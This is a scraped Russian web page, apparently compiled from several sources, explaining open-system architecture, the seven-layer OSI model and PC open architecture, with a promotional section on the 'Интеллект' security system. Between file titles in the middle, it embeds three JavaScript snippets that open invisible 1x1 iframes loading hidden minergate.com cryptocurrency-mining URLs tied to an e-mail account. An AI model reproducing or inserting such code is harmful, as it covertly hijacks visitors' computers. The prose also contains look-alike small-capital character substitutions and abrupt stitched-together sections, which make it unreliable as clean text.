Тарифы Услуги Сим-карты

Системы с открытой архитектурой. Принципы построения. Архитектура открытых систем

Архитектура открытых систем

Термин «архитектура связи» подразумевает, что отдельные подзадачи сети выполняются различными архитектурными элементами, между которыми устанавливаются пути передачи информации (каналы связи и интерфейсы). Способ, с помощью которого сообщение обрабатывается структурными элементами и передаются по сети, называется сетевым протоколом . Проблемы совмещения и стыковки различных элеменᴛᴏʙ ВС привели Международную организацию стандартизации (ISO – International Organization for Standards) к созданию модели архитектуры вычислительной сети, которая называется моделью взаимодействия открытых систем 1977 г. (ВОС/OSI).

Базовая эталонная модель взаимодействия открытых систем

Цель разработки этой модели заключалась в определении логических ограничений для сетевых стандарᴛᴏʙ, приемлемых для всех изгоᴛᴏʙителей, что позволило бы им создавать уникальные и конкурентоспособные изделия, которые однако стыковались с изделиями других изгоᴛᴏʙителей. Модель OSI является обобщенной и применима как к глобальным, так и к локальным ВС.

В модели используется подход уровневой архитектуры, в которой все функции сети разделены на уровни таким образом, что вышележащие уровни используют услуги, предоставленные нижележащими уровнями. Термин «открытые» системы означает, что если система соответствует стандартам ВОС, то она будет открыта для взаимосвязи с любой другой системой, которая соответствует тем же стандартам ВОС.

Услуги каждого уровня ВОС определяют в абстрактном виде интерфейс между двумя смежными уровнями, не задавая при этом способа его реанимации. Услуги уровня определяют его функциональные возможности. Запрос услуг и оповещение о результатах их выполнения происходит путем обмена примитивами – элементарными абстрактными единицами взаимодействия между П. и исполнителем (И) услуг. Определено 4 типа примитивов:

Запрос – выдается П. для инициации услуги;

Индикация – выдается И. Важно понимать - для указания на то, что удаленный П. инициировал выполнение услуги;

Ответ – выдается П. как реакция на примитив индикация;

Подтверждение – выдается И. Важно понимать - для сообщения о результатах выполнения услуги.

Протоколы определяют логику взаимодействия удаленных логических объекᴛᴏʙ одного уровня. При этом задается формат и кодирование протокольных блоков данных (ПБД), с помощью которых осуществляется такое взаимодействие - интерпретация запросов на услуги от верхнего уровня и правила пользования услугами нижележащего уровня.

Модель OSI – это набор протоколов для определения и стандартизации всего процесса передачи данных, разработанного Международной организацией стандартизации (ISO).

Процесс передачи данных делится на 7 уровней, в пределах которых устанавливаются стандартные протоколы, разработанные ISO и некоторыми фирмами, причем количество этих протоколов велико.

Модель OSI не является единственным описанием процесса передачи данных, а говорит, что

  1. есть способ разбиения процесса передачи данных на уровни и существуют определенные протоколы, которые можно применять на любые уровни.
  2. любой последовательный уровень модели OSI взаимодействует с предыдущим.
  3. любой уровень обладает свойством модульности: замена одного протокола другим в рамках уровня не влияет на работу протоколов верхнего или нижнего уровня.

Взаимосвязь между узлами сети:

Оконечная система 1

Протоколы уровней

Оконечная система 2

Основные функции уровней

Прикладной процесс

Прикладной процесс

Прикладной

(SMTP, FTP, TELM)

Службы пользователей, сетевые службы и т.д.

Представительный

Преобразование структурированных данных и манипулирование ими.

Сеансовый

Установление соединений, координация и синхронизация диалога.

Транспортный

Обеспечение независящего от передающей среды транспортного сервиса между оконечными системами.

Коммутация и маршрутизация в сети.

Канальный

(HDLC, SDLC, X.25)

Управление передачей данных по каналу. Контроль ошибок, возникающий из-за физической среды передачи.

Физический

(IEEE 802.3, 802.4, 802.5)

Предоставление средств для управления физическими соединениями в канале.

Физическая среда для соединения систем

Уровни OSI реализуют следующие сетевые функции:

  1. Физический уровень . Обеспечивает физический путь для электрических сигналов, представляющих биты переданной информации. Он также устанавливает характеристики этих сигналов (к примеру, значения напряжения и тока). Он определяет механизм свойства кабелей и разъемов. Физический уровень представляет средства, позволяющие подсоединяться к физической предающей среде и управлять её использованием. Это единственное реальное взаимосвязь между узлами сети.

Надо заметить, что физическая среда как таковая не входит в эталонную модель, хотя очень важна для её реализации. Это каналы связи, модемы, канальное оборудование (мультиплексоры, ЭВМ, контроллеры, терминалы и т.д.), совокупность кабелей, повторителей сигналов.

  1. Канальный уровень . Определяет правила совместного использования физического уровня узлами ВС. Информация передается адресованными порциями (кадрами) – по одному кадру в единицу времени. На канальном уровне определяются формат этих кадров и способ, согласно которому узел решает, когда можно передать или принять кадр.

Используется 2 основных типа кадров: пакеты и управляющие кадры.

Пакеты – кадры данных, которые содержат сообщения верхних уровней.

Управляющие кадры – маркеры, подтверждения.

Методы обнаружения и коррекции ошибок обеспечивают безошибочное прохождение пакеᴛᴏʙ от узлов источников к узлам назначения.

С точки зрения верхних уровней канального и физического уровней обеспечивают безопасную передачу пакеᴛᴏʙ данных.

  1. Сетевой уровень. Отвечает за буферизацию и маршрутизацию в сети.

Реализует функции связи между 2-мя отдельными сетями. Преобразование логических адресов в физические.

  1. Транспортный уровень . С передающей стороны делит длинные сообщения на пакеты данных. С принимающей стороны – должен правильно собрать сообщения из набора пакеᴛᴏʙ, полученных через канальный и сетевой уровень.
  2. Сеансовый уровень . Отвечает за обеспечение сеанса связи между двумя процессами пользователей в двух различных узлах сети. Сеанс создается по запросу П., переданному через прикладной уровень и уровень представления. Сеансовый уровень отвечает за определение возможности начала сеанса, за ᴇᴦᴏ поддержание и окончание. Устанавливает соглашения относительно формы обмена.
  3. Уровень представления . Является самым простым с точки зрения взаимосвязи. Его функция заключается в преобразовании сообщений П. из формы, используемой прикладным уровнем, в форму, используемую более низкими уровнями. Целью преобразования сообщения (кодирования) является сжатие данных и их защита. Гарантирует, что данные, которыми обмениваются устройства, поступают на прикладной уровень или к устройствам П. в понятном для них виде. Это предоставляет возможность использовать в различных комплектах оборудования различные форматы данных без ущерба для взаимопонимания.
  4. Прикладной уровень. Является границей между процессами сети OSI и прикладными (пользовательскими) процессами. Непосредственно поддерживает обмен информацией между пользователями, прикладными программами или устройствами. На этом уровне требуется несколько типов протоколов:
    1. для конкретных специфичных приложений (передачи файлов, электронная почта)
    2. общие протоколы для поддержки пользователей и сети (к примеру, для вычислений, управления доступом, проверки полномочий пользователей)

Прикладной уровень дает определить адресата, сформировать запрос и послать его через сеть, передать и получить запрошенные данные, сделать их доступными для запрашивающего процесса.

Отдельные уровни могут быть совмещены или отсутствовать.

Реальная связь: физический уровень физический уровень

Информация проходит от прикладного уровня к физическому в узле источника и от физического к прикладному в узле назначения.

Между процессами на одинаковых уровнях существуют виртуальные связи

Необходимо еще пояснить некоторые понятия, относящиеся к эталонной модели OSI:

  • упаковка
  • фрагментация

Структура сообщений

Многоуровневая организация управления процессами в сети пораждает необходимость модификации на любом уровне передаваемых сообщений.

Схема модификации сообщений

Упаковка

Данные, передаваемые в форме сообщения, снабжаются заголовком и концевиком, в которых содержится следующая информация:

  1. указатели типа сообщений
  2. адреса отправителя, получателя, канала, порта
  3. код обнаружения ошибок

Каждый уровень оперирует с собственными З и К, а находящаяся между ними информация рассматривается как данные более высокого уровня. Засчет этого обеспечивается независимость данных, относящихся к разным уровням управления передачей сообщений.

Фрагментация

Дает возможность разделить сообщение на меньшие части, которые затем обрабатываются и предаются независимо. На принимающем конце эти части должны быть собраны для воссоздания в форме исходного сообщения.

(транспортый уровень – разбивка/сборка пакеᴛᴏʙ)

Использование небольших пакеᴛᴏʙ данных упрощает разработку протоколов нижних уровней.

В принципе не имеет значения, реализуется уровень аппаратным или программным способом (никаких требований OSI – модель не формирует) – лишь бы выполнялись функции, а формы соответствовали межуровневым интерфейсам.

Обычно из-за требований высокой скорости и повышенной нагрузки в направлении приема канальный уровень, как физический, реализуется аппаратно.

Более высокие уровни обычно реализуцется как процессы, принадлежащие ОС или активизируемые ОС.

(см. рис.)

Прикладной процесс в системе А (ур. 7) формирует сообщение прикладному процессу в системе В в соответствии с логикой взаимодействия этих двух прикладных процессов (но без учета организациии сети). Физически сообщения, формируемые процессом А, проходят последовательно через уровни 6,5,…,1, подвергаясь процедурам последовательного обрамления, предаются по каналу связи и затем через уровни 1,2,…,6, на которых с сообщений снимаются обрамления, поступают к процессу В. каждый уровень работает со своим заголовком и концевиком. Все, что между ними – рассматривается соответствующим уровнем как данные.

В заголовки помещаются команды для вызова функций в соответствующих уровнях другого узла связи:

Уровень N+1 вызывает функцию для формирования в передающем узле поле контроля последовательности.

Уровень N+1 принимающего узла производит проверку наличия ошибок при передаче на базе сравнения контрольного поля со значением счетчика приема.

Сервисная функция уровня N добавляет поле контроля последовательности в виде заголовка, который будет использоваться в принимающем N уровне для контроля ошибок.

На уровне N-1 производится сжатие данных

В принимающем узле эта функция (заголовок) используется как команда преобразования к исходнуму виду.

Заголовок – это управляющая информация протокола .

Концевик – управляющая информация интерфейса , кторый используется только между смежными уровнями одного и того же узла. Он содержит команды, которые должны быть выполнены нижележащим уровне. Например, это может быть команда обеспечить ускоренное прохождение через уровень, т.е. выполнить операции мультиплексирования на нижних уровнях.

При описании протокола принято выделять его логическую и процедурную характеристики.

Логическая характеристика протокола – это структура (формат) и содеоржание (семантика) сообщений. Логическая характеристика задается перечислением типов сообщений и их смысла. Правила выполнения действий, предписанных протоколом взаимодействия, называется процедурной характеристикой протокола . Процедурная характеристика может представляться в различной математической форме: операторными схемами алгоритмов, автоматными моделями, сетями Петри и др.

На основании выше сказанного приходим к выводу, что логика организации сети определяется протоколами, устанавливающими как тип и структуру сообщений, так и процедуры их обработки – реакцию на входящие сообщения и генерацию собственных сообщений.

Заключение

Протоколы, стандарты и интерфейсы нижних уровней относительно стабильны и отработаны. Они формируют устойчивую основу, на которой строятся верхние уровни.

Многие же протоколы высоких уровней находятся в различных стадиях разработки (хотя некоторые уже утверждены).

Завершить полностью разработку всех элеменᴛᴏʙ верхних уровней вряд ли возможно из-за количества и разнообразия прикладных областей.

заголовок

концевик

Зn+1

Кn+1

Кn+1

Зn+1

Кn+1

Зn+1

Зn-1

Кn-1

Кn-1
Микроконтроллеры. Архитектура, программирование, интерфейс (В.Б. Бродин, 1999).djvu


Микроконтроллеры семейства MCS-51. Архитектура, программирование, интерфейс.djvu

(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//ru.minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/2/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body"); s.appendChild(w, s); })();...


Микроконтроллеры PIC. Архитектура и программирование (Ю.С.Магда, 2009).pdf

(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/4/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body"); s.appendChild(w, s); })(); ...


Петер Нойферт, Людвиг Нефф, Проектирование и строительство. Дом, квартира, сад - Архитектура-С (2005)(DJVU) Русский, 5-9647-0067-5.djvu

(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/fcn/podivilovhuilo%40yandex.ru/3/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body"); s.appendChild(w, s); })(); ...

18.04.2007

Интегрированный комплекс безопасности объединяет различные подсистемы в единую структуру. Для согласования работы оборудования и программного обеспечения разработаны единые стандарты передачи данных. они называются открытыми потому, что их спецификации опубликованы и доступны всем разработчикам.

ОТКРЫТАЯ АРХИТЕКТУРА В ЭВМ

Открытая архитектура в ЭВМ - это архитектура ЭВМ или периферийного устройства, на которую опубликованы спецификации, что позволяет другим производителям разрабатывать дополнительные устройства к системам с такой архитектурой.

Работа над первым персональным компьютером была закончена в 1981 году компанией IBM, и в то время IBM не придавала особого значения ПК, используя много чужих компонентов, например, операционную систему DOS от Microsoft и процессор от Intel. Ни эти компоненты, ни система ввода-вывода не были лицензированы, что в дальнейшем позволило множеству сторонних фирм, пользуясь опубликованными спецификациями, забрать у IBM огромную долю рынка персональных компьютеров.

Сегодня в основе ПК лежит открытая архитектура - то есть способ построения, регламентирующий и стандартизирующий только описание принципа действия компьютера и его конфигурации, что позволяет собирать его из отдельных узлов и деталей, разработанных и изготовленных независимыми фирмами-производителями. Принцип открытой архитектуры также предусматривает наличие в компьютере внутренних слотов расширения. ПК легко расширяется и модернизируется с использованием этих гнезд, к которым пользователь может подключать разнообразные устройства, удовлетворяющие заданному стандарту, и тем самым конфигурировать свою машину в соответствии с личными предпочтениями.

Для того чтобы соединить друг с другом различные устройства компьютера, они должны иметь одинаковый интерфейс (англ. interface от inter - между и face - лицо). Интерфейс - это средство сопряжения двух устройств, в котором все физические и логические параметры согласуются между собой. Если интерфейс является общепринятым, например, утвержденным на уровне международных соглашений, то он называется стандартным.

Каждый из функциональных элементов, таких как память, монитор или другое устройство, связан с шиной определенного типа - адресной, управляющей или шиной данных. Для согласования интерфейсов периферийные устройства подключаются к шине не напрямую, а через свои контроллеры или адаптеры и порты. контроллеры и адаптеры представляют собой наборы электронных цепей, которыми снабжаются устройства компьютера с целью достижения совместимости их интерфейсов. Контроллеры, кроме того, осуществляют непосредственное управление периферийными устройствами по запросам микропроцессора.

ДОСТОИНСТВА И ПРЕИМУЩЕСТВА СИСТЕМ, СТРОЯЩИХСЯ НА ПРИНЦИПАХ ОТКРЫТОЙ АРХИТЕКТУРЫ

Экономический аспект

Открытая архитектура позволяет строить и модернизировать системы наиболее экономичным способом. Источники экономической эффективности состоят:

  • в отсутствии необходимости разработки дополнительных интерфейсов к программным и аппаратным средствам;
  • в возможности повторного использования компьютерных программ при переходе с одной платформы на другую.

Инновационный аспект

Важнейшим аспектом принципа открытой архитектуры является ее инновационный характер. без использования перспективных стандартов невозможен выпуск конкурентосопособной компьютерной и телекоммуникационной продукции.

Новые протоколы передачи данных и аппаратные решения базируются на общепринятых стандартах с опубликованными спецификациями. Это делает простым их внедрение, а также замещение ими устаревших продуктов.

ВЗАИМОДЕЙСТВИЕ ОТКРЫТЫХ СИСТЕМ

Для того чтобы обеспечить возможность работы в единой сети разнородным ЭВМ, построенным на различных платформах и работающим под различными операционными системами, необходимо было разработать идеологию взаимодействия ЭВМ. Она получила название архитектуры открытых систем.

При реализации сетей, как правило, используются стандартные протоколы. Это могут быть фирменные, национальные или международные стандарты. Для единого представления данных в линиях связи, по которым передается информация, сформирована международная организация по стандартизации (англ. ISO - International Standards Organization). Цель ISO - разработка модели международного коммуникационного протокола, в рамках которого можно разрабатывать международные стандарты.

Архитектура вычислителной сети - это описание ее общей модели. Многообразие производителей вычислительных сетей и сетевых программных продуктов поставило проблему объединения сетей различных архитектур. Для ее решения в 1984 году ISO была разработана базовая модель взаимодействия открытых систем - OSI. Эта модель, часто называемая моделью архитектуры открытых систем, является международным стандартом для передачи данных.

Открытая система - система, взаимодействующая с другими системами в соответствии с принятыми стандартами. Модель взаимодействия открытых систем (OSI) определяет процедуры передачи данных между системами, которые «открыты» друг другу благодаря совместному использованию ими соответствующих стандартов, хотя сами системы могут быть созданы на основе различных технических средств.

OSI служит базой для производителей при разработке совместимого сетевого оборудования. Эта модель не является неким физическим телом, отдельные элементы которого можно осязать. Она устанавливает способы передачи данных по сети, определяет стандартные протоколы, используемые сетевым и программным обеспечением. Модель представляет собой самые общие рекомендации для построения совместимых сетевых программных продуктов. Эти рекомендации должны быть реализованы как в аппаратуре, так и в программных средствах вычислительных сетей.

ОТКРЫТАЯ АРХИТЕКТУРА СИСТЕМЫ «ИНТЕЛЛЕКТ»

В интегрированной системе безопасности «Интеллект» реализованы все принципы открытых систем. «Интеллект» осуществляет взаимодействие с другими системами в соответствии с принятыми стандартами.

Прежде всего нужно отметить, что в «Интеллекте» применен объектно-ориентированный подход: любой элемент комплекса безопасности рассматривается и управляется как объект с определенным набором параметров (реакций и событий). Для взаимодействия «Интеллекта» с внешним по в его дереве объектов существует виртуальный модуль (IIDK - Interface Integration Development Kit), осуществляющий экспорт событий «Интеллекта» во внешнюю систему. И наоборот, события, получаемые через этот модуль «Интеллектом», интерпретируются им как определенные управляющие действия, что позволяет конфигурировать «Интеллект» и управлять им из внешней системы.

Программно-аппаратный комплекс функционирует на основе IBM-совместимых персональных компьютеров, используя для связи сервер - клиент транспортный протокол TCP/IP, уже давно являющийся установленным стандартом передачи данных с открытой спецификацией. Более того, «Интеллект» не накладывает ограничений на максимальное количество серверов и клиентов в сети - ограничения устанавливает только пропускная способность канала обмена информацией между ними.

Оборудование, интегрированное в систему «Интеллект», подключается к компьютеру через стандартные интерфейсы ввода-вывода, на которые также давно известны и опубликованы спецификации (RS-232, RS-485 и т.д.). И в этом случае «Интеллект» не накладывает ограничения на количество функциональных узлов оборудования, подключаемого к одному компьютеру, - ограничения накладывает только спецификация самого компьютера (количество свободных интерфейсов).

При разработке охранно-пожарных панелей, систем контроля доступа и другого охранного оборудования компаниипроизводители придерживаются установленных стандартов и спецификаций на интерфейсы обмена и передачи информации, но протоколы управления у каждого производителя при этом могут быть разными. Протокол - это набор правил и процедур, необходимых для организации взаимодействия между оборудованием и программной средой. Все, что необходимо для работы оборудования любой сложности любого производителя в среде «Интеллект», - это протокол, посредством которого осуществляются контроль и управление этим оборудованием. можно сказать, что протоколов существует ровно столько, сколько производителей оборудования, но в любом случае оборудование современных охранных систем будет подключаться на физическом уровне к компьютеру через интерфейсы, спецификации на которые давно известны всему миру.

Максим Савчихин,
руководитель отдела обучающего консультирования компании ITV

Понятие «система» носит двоякий характер. С одной стороны, по общему определению, система - это совокупность взаимодействующих элементов (компонентов), аппаратных и/или программных. С другой стороны, система может выступать в качестве компонента другой, более сложной системы, которая в свою очередь может быть компонентом системы следующего уровня.

В связи с этим нужно уточнить представление об архитектуре систем и средств, как внешнем их описании (reference model) с точки зрения того, кто ими пользуется. Архитектура открытой системы, таким образом, оказывается иерархическим описанием ее внешнего облика и каждого компонента с точки зрения:

пользователя (пользовательский интерфейс),

проектировщика системы (среда проектирования),

прикладного программиста (системы и инструментальные средства /среды программирования),

системного программиста (архитектура ЭВМ),

разработчика аппаратуры (интерфейсы оборудования).

Предлагаемый взгляд на архитектуру открытых систем вытекает из указанной выше необходимости комплексной реализации общих свойств открытости и является расширением принятого понятия об архитектуре ЭВМ по Г. Майерсу.

Для примера рассмотрим архитектурное представление системы обработки данных, состоящей из компонентов четырех областей: пользовательского интерфейса (соответственно точкам зрения всех указанных выше групп), средств обработки данных, средств представления и хранения данных, средств коммуникаций. Для этого представления требуется использовать три уровня описаний: среды, которая представляется системой, операционной среды (системы), на которую опираются прикладные компоненты, и оборудования. Каждый из этих уровней разделен для удобства на два подуровня (см. табл. 1).

Таблица 1

Иерархия представления архитектуры системы обработки данных

Уровень архитектуры системы обработки данных

Компоненты системы обработки данных

Интерфейсы

Средства обработки данных

Представление и хранение данных

Коммуникации

Среда для конечного пользователя и инструментарий прикладного программиста

Генераторы форм и отчетов

Утилиты и библиотеки

Языки программирования 4GL

OSI. Прикладной уровень

Языки программные и командные языки (оболочки)

Прикладные программы

Языки запросов СУБД

OSI. Уровни сессий и представительный

Операционная система

Средства оконного интерфейса

Верхний уровень ОС (организация процесса обработки)

Средства доступа к среде хранения

OSI. Транспортный уровень

Драйверы

Ядро операционной системы

Файловая система

OSI. Сетевой уровень

Оборудование

Системные интерфейсы (в т. ч. организация ввода-вывода)

Процессоры (система команд)

Организация памяти

OSI. Уровень передачи данных

Периферийные устройства

Системная шина

Шины (интерфейс) массовой памяти

OSI. Физический уровень

Уровень среды для конечного пользователя (user environment) характеризуется входными и выходными описаниями (генераторы форм и отчетов), языками проектирования информационной модели предметной области (языки 4GL), функциями утилит и библиотечных программ и прикладным уровнем среды коммуникаций, когда требуются услуги дистанционного обмена информацией. На этом же уровне определена среда (инструментарий) прикладного программирования (appliсation environment) : языки и системы программирования, командные языки (оболочки операционных систем), языки запросов СУБД, уровни сессий и представительный среды коммуникаций.

На уровне операционной системы представлены компоненты операционной среды, реализующие функции организации процесса обработки, доступа к среде хранения данных, оконного интерфейса, а также транспортного уровня среды коммуникаций. Нижний подуровень операционной системы - это ее ядро, файловая система, драйверы управления оборудованием, сетевой уровень среды коммуникаций.

На уровне оборудования легко видеть привычные разработчикам ЭВМ составляющие архитектуры аппаратных средств:

система команд процессора (процессоров),

организация памяти,

организация ввода-вывода и т. д.,

а также физическую реализацию в виде:

системных шин,

шин массовой памяти,

интерфейсов периферийных устройств,

уровня передачи данных,

физического уровня среды хранения.

Представленный взгляд на архитектуру открытой системы обработки данных относится к одно-машинным реализациям, включенным в сеть передачи данных для обмена информацией. Понятно, что он может быть легко обобщен и на многопроцессорные системы с разделением функций, а также на системы распределенной обработки данных. Поскольку здесь явно выделены компоненты, составляющие систему, можно рассматривать как интерфейсы взаимодействия этих компонентов на каждом из указанных уровней, так и интерфейсы взаимодействия между уровнями.

Описания и реализации этих интерфейсов могут быть предметом рассмотрения только в пределах данной системы. Тогда свойства ее открытости проявляются только на внешнем уровне. Однако значение идеологии открытых систем состоит в том, что она открывает методологические пути к унификации интерфейсов в пределах родственных по функциям групп компонентов для всего класса систем данного назначения или всего множества открытых систем.

Стандарты интерфейсов этих компонент (де-факто или принятые официально) определяют лицо массовых продуктов на рынке. Область распространения этих стандартов являются предметом согласования интересов разных групп участников процесса информатизации - пользователей, проектировщиков систем, поставщиков программных продуктов и поставщиков оборудования.

Выше был рассмотрен пример архитектуры открытых систем, реализующих технологию обработки данных. Можно было бы представить аналогичным образом открытые системы для всех классов информационных технологий: обработки текстов, изображений, речи, машинной графики. Особенно актуально проработать подходы открытых систем для мультимедиа-технологий, сочетающих несколько разных представлений информации. Как известно, за рубежом эти работы проводятся различными ассоциациями и консорциумами заинтересованных фирм и академических организаций и международными организациями по стандартизации. К сожалению, российские специалисты в этих работах до сих пор в лучшем случае играют роль наблюдателей.

11. Архитектура взаимодействия открытых систем. Основы передачи дискретных сообщений

11. Архитектура взаимодействия открытых систем

Появление компьютерных сетей привело к необходимости создания стандартов, определяющих принципы взаимодействия внешних пользователей с сетями и сетей между собой (т.е. стандартов взаимодействия открытых систем, ВОС).

По своей сути сеть это соединение оборудования от разных производителей. Для решения проблем совместимости все производители должны придерживаться общепринятых правил построения оборудования. Эти правила закрепляются в стандартах.

Идеологической основой стандартизации в компьютерных сетях является многоуровневый подход.

Взаимодействие между сетевыми устройствами является сложной, технической задачей. Для решения сложных задач часто используют декомпозицию, т.е. разбиение сложной задачи на несколько простых задач-модулей.

Декомпозиция предполагает:

  • четкое определение функций каждого модуля, решающего отдельную задачу;
  • определение правил взаимодействия между модулями.

Многоуровневый подход при декомпозиции предполагает следующее:

  • все множество модулей разбивается на уровни (при этом функции всех уровней четко определены);
  • уровни образуют иерархию (т.е. существуют верхние и нижние);
  • для решения своих задач каждый уровень обращается с запросами только к модулям непосредственно примыкающего нижнего уровня;
  • результаты работы модулей уровня могут быть переданы только соседнему, вышележащему.

В процессе работы сети взаимодействуют узлы, каждый из которых представляет собой иерархическую систему. Процедура взаимодействия этих узлов может быть описана в виде набора правил взаимодействия каждой пары соответствующих (равноправных) уровней участвующих сторон.

Формализованные правила, определяющие последовательность и формат сообщений, которыми обмениваются сетевые компоненты, лежащие на одном уровне, но в разных узлах, называется ПРОТОКОЛОМ.

Уровни, находящиеся в одном узле в процессе работы, также взаимодействуют друг с другом в соответствии с четко определенными правилами. Эти правила принято называть ИНТЕРФЕЙСОМ.

Т.о. средства каждого уровня должны отрабатывать, во-первых, свой собственный протокол, а во-вторых, интерфейсы с соседними уровнями.

Следует отметить, что протокол каждого уровня может быть изменен независимо от протокола другого уровня. Эта независимость и делает многоуровневый подход привлекательным.

Эталонная модель ВОС является наиболее общим описанием структуры построения стандартов. Она определяет принципы взаимосвязи между отдельными стандартами и является основой обеспечения возможности параллельной разработки различных стандартов для ВОС.

Изначально определяется структура построения стандартов ВОС.

Затем описание услуг, которые должны предоставляться отдельными компонентами (уровнями) открытой системы.

Последний уровень детализации стандартов ВОС – разработка в рамках определенной услуги ВОС набора протоколов.

При этом под протоколом понимается документ, определяющий процедуры и правила взаимодействия одноименных уровней работающих друг с другом систем.

Таким образом, стандарт ВОС должен определять:

  • Эталонную модель ВОС;
  • Конкретный набор услуг, удовлетворяющих эталонной модели;
  • Набор протоколов, обеспечивающих удовлетворение услуг, для реализации которых они разработаны.

Исходя из вышесказанного, система является открытой, если она соответствует эталонной модели ВОС, стандартному набору услуг и стандартным протоколам.

Семиуровневая модель ВОС

Сетевые модели OSI и IEEE Project 802

В 1978 г. Международная организация по стандартизации ISO (International Standards Organization) выпустила набор спецификаций описывающих архитектуру сетей с неоднородными устройствами. (Прообраз модели ВОС).

В 1984 г. ISO, выпустила новую версию своей модели, названную эталонной моделью ВОС. (Open System Interconnection reference model, OSI.)

Структура эталонной модели ВОС

В данной модели все процессы, реализуемые открытой системой, разбиты на семь взаимно подчиненных уровней. Уровень с меньшим номером представляет услуги смежному с ним верхнему уровню и пользуется для этого услугами смежного с ним нижнего уровня. Самый верхний (7) уровень только потребляет услуги, а самый нижний (1) только их предоставляет.

Семь уровней модели :

Физический уровень осуществляет передачу неструктурированного "сырого" потока битов по физической среде (без учета деления на кодовые комбинации). Реализуется электрический, оптический, механический и функциональный интерфейсы с кабелем. Формирует сигналы, которые переносят данные от верхних уровней. Устанавливает длительность каждого бита и способ перевода каждого бита в соответствующие электрические и оптические сигналы.

К этому уровню имеют отношение:

  • характеристики физических сред передачи данных (полоса пропускания, волновое сопротивление, помехозащищенность…);
  • характеристики электрических (оптических) сигналов (уровни, тип кодирования, скорость модуляции…);
  • тип разъема и назначение каждого контакта (BNC, RJ-45, RS-232c…).

Пример спецификация 10BaseT .

Канальный уровень

К основным задачам решаемым на канальном уровне относятся:

  • организация доступа к среде передачи;
  • реализация механизмов обнаружения и коррекции ошибок.

Если на физическом уровне рассматривается просто поток битов, то на канальном биты группируются в кодовые комбинации (фреймы). Фреймы защищаются помехоустойчивым кодированием обеспечивающим обнаружение или исправление ошибок.

В протоколах канального уровня заложена определенная структура связей между компьютерами и способы их адресации (только для строго определенной топологии сети).

Уровень управления каналом (второй уровень) или канальный представляет собой комплекс процедур и методов управления каналом передачи данных (установление соединения, его поддержание и разъединение), организованный на основе физического соединения, он обеспечивает обнаружение и исправление ошибок.

Осуществляет передачу кадров данных от Сетевого к Физическому уровню. На приеме упаковывает "сырой" поток битов, поступающих от физического уровня, в кадры данных.

В целом КУ представляет собой законченный набор функций по пересылке сообщений между узлами сети. В некоторых случаях могут допускать непосредственную работу с прикладным уровнем.

Пример: Ethernet, Token ring.

Сетевой уровень (Network) отвечает за адресацию сообщений и перевод логических имен и адресов в физические адреса. Исходя из конкретных сетевых условий, здесь определяется маршрут от ПК отправителя к ПК получателя.

Основной задачей третьего (сетевого) уровня является маршрутизация сообщений, кроме этого он обеспечивает управление информационными потоками, организацию и поддержание транспортных каналов, а так же учитывает предоставленные услуги.

Если сетевой адаптер маршрутизатора не может передавать большие блоки данных, посланные ПК отправителя, на Сетевом уровне эти блоки разбиваются на меньшие. На Сетевом уровне получателя происходит обратный процесс переупаковки в исходное состояние.

Рассмотренные три нижних уровня определяют функционирование узла сети. Протоколы этих уровней обслуживают так называемую транспортную сеть. Как любая транспортная система, эта сеть транспортирует информацию, не интересуясь ее содержанием. Главной задачей этой сети является быстрая и надежная доставка информации.

Пример: IP (стек TCP/IP), IPX (стек IPX/SPX).

Транспортный уровень (Transport) Этот уровень принимает от вышестоящего уровня некоторый блок данных и должен обеспечить его транспортировку через сеть связи к удаленной системе. Уровни, лежащие выше транспортного, не учитывают специфику сети, через которую передаются данные, они "знают" лишь удаленные системы, с которыми взаимодействуют. Транспортный же уровень должен "знать", как работает сеть, какие размеры блоков данных она принимает, и т.п.

Транспортный уровень гарантирует доставку пакетов без ошибок, в той же последовательности, без потерь и дублирования.

На этом уровне сообщения также могут переупаковываться: длинные разбиваются на несколько пакетов, а короткие объединяются в один. Это увеличивает эффективность передачи пакетов по сети. На транспортном уровне ПК получателя сообщения распаковываются, восстанавливаются в первоначальном виде, и обычно посылается сигнал подтверждения.

Если качество канала хорошее, то используется облегченный сервис. Датаграмный режим (UDP).

Если качество канала плохое, то используется максимум средств – установление предварительного логического соединения, организация обратной связи, циклическая нумерация пакетов, квитирование, проверка контрольных сумм и т.д. (Режим виртуальных каналов TCP).

Сеансовый уровень (Session)

Следующий пятый уровень протоколов называют уровнем сессий или сеансовым. Его основным назначением является организация способов взаимодействия между прикладными процессами:

  • соединение прикладных процессов для их взаимодействия,
  • организация передачи информации между процессами во время взаимодействия
  • "рассоединения" процессов.

На этом уровне выполняются такие функции, как распознавание имен и защита, необходимые для связи двух приложений в сети.

Сеансовый уровень обеспечивает синхронизацию между пользовательскими задачами посредством расстановки в потоке данных контрольных точек (chekpoints). Таким образом, в случае сетевой ошибки, потребуется заново передать только данные, следующие за последней контрольной точкой.

Представительский уровень (Presentation) определяет синтаксис передаваемой информации, т.е. набор знаков и способы их представления, которые являются понятными для всех взаимодействующих открытых систем.

Сам процесс согласования определяется протоколом уровня представления, по которому взаимодействующие системы договариваются о той форме, в которой будет передаваться информация.

Представительский уровень отвечает за преобразование протоколов, трансляцию данных, их шифрование, смену и преобразование применяемого набора символов (кодовой таблицы) и расширение графических команд. Может управлять сжатием данных.

На этом уровне работает редиректор, переадресовывающий операции ввода вывода к ресурсам сервера.

Прикладной уровень (Application) эталонной модели ВОС определяет семантику, т.е. смысловое содержание информации, которой обмениваются ОС в процессе решения некоторой заранее известной задачи. Взаимодействующие системы должны одинаково интерпретировать получаемые данные.

Прикладной (пользовательский) уровень является основным, именно ради него существуют все остальные уровни. Он называется прикладным, поскольку с ним взаимодействуют прикладные процессы системы, которые должны решать некоторую задачу совместно с прикладными процессами, размещенными в других открытых системах.

Этот уровень обеспечивает услуги, напрямую поддерживающие приложения пользователя, такие как, программное обеспечение для передачи файлов, доступа к базам данных, электронной почты. (FTP, TFTP…)

Модель IEEE Project 802. Расширение модели OSI.

В феврале 1980 г. был выпущен IEEE Project 802. Хотя публикация данного проекта опередила стандарты ISO данные работы велись параллельно, при полном обмене информации поэтому полностью совместимы.

